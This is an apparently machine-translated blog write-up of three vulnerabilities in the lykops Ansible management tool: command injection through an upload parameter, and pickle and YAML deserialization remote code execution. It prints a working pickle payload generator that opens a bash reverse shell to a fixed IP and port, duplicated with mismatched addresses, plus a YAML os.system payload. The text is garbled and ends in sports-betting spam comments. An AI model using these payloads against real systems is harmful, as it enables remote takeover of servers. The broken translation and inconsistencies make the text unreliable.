corresponding 0x00 intro
0x01 Post-Auth OS-command injection
lykops/library/utils/file.py#248
->upload_file()
vuln param file comes from our HTTP Request in array of FILES[]
So we can completely control the unsantized param, and cause a OS-cmd injection
- the corresponding route is
^ansible/yaml/import$
, we can trigger this vuln by visiting it. - Also, you can see that an exception will trigger twice invocations of
import_file()
,which means a `sleep 5` command will casue a delay of 10 second
0x02 Pre-Auth pickle Unserialized RCE via Unauthorized Redis
^login.html
,the corresponding implementation is Login
->login
functionpickle.loads! this evil function!
This get
The implementation of, in the input parameter is fmt=obj
When deserialization from Redis achieved in 字符串
], and the deserialization function is actually used pickle.loads
!
If you are not familiar with Python deserialization attacks, see python deserialization attacks from scratch This post.
The following figure shows a demo that uses deserialization to run commands in Python cmdline.
So the script for generating the payload is as follows:
#!/usr/bin/env python3 import pickle import os class py(): def __reduce__(self): return (os.system, ('bash -i >& /dev/tcp/10.10.111.2/1337 0>&1',)) payload = pickle.dumps(py()) # b'\x80\x03cposix\nsystem\nq\x00X)\x00\x00\x00bash -i >& /dev/tcp/10.10.111.1/1337 0>&1q\x01\x85q\x02Rq\x03.'
#!/usr/bin/env python3 import pickle import os class py(): def __reduce__(self): return (os.system, ('bash -i >& /dev/tcp/10.10.111.2/1337 0>&1',)) payload = pickle.dumps(py()) # b'\x80\x03cposix\nsystem\nq\x00X)\x00\x00\x00bash -i >& /dev/tcp/10.10.111.1/1337 0>&1q\x01\x85q\x02Rq\x03.'
0x03 Post-Auth YAML Unserialized RCE
Loading YAML
Warning: It is not safe to call
yaml.load
with any data received from an untrusted source!yaml.load
is as powerful aspickle.load
and so may call any Python function. Check theyaml.safe_load
function though.
!!python/object/new:os.system ["sleep 2"]
the sorce is in library/utils/file.py, github link here
Bet on Sports Online Betting with the Sportsbook - Tềng ĐỀng Đạng
回复删除➨ We offer betting with best odds with great ボンズ カジノ live betting. 1xbet Online sports betting is one of the most popular ways sbobet ทางเข้า of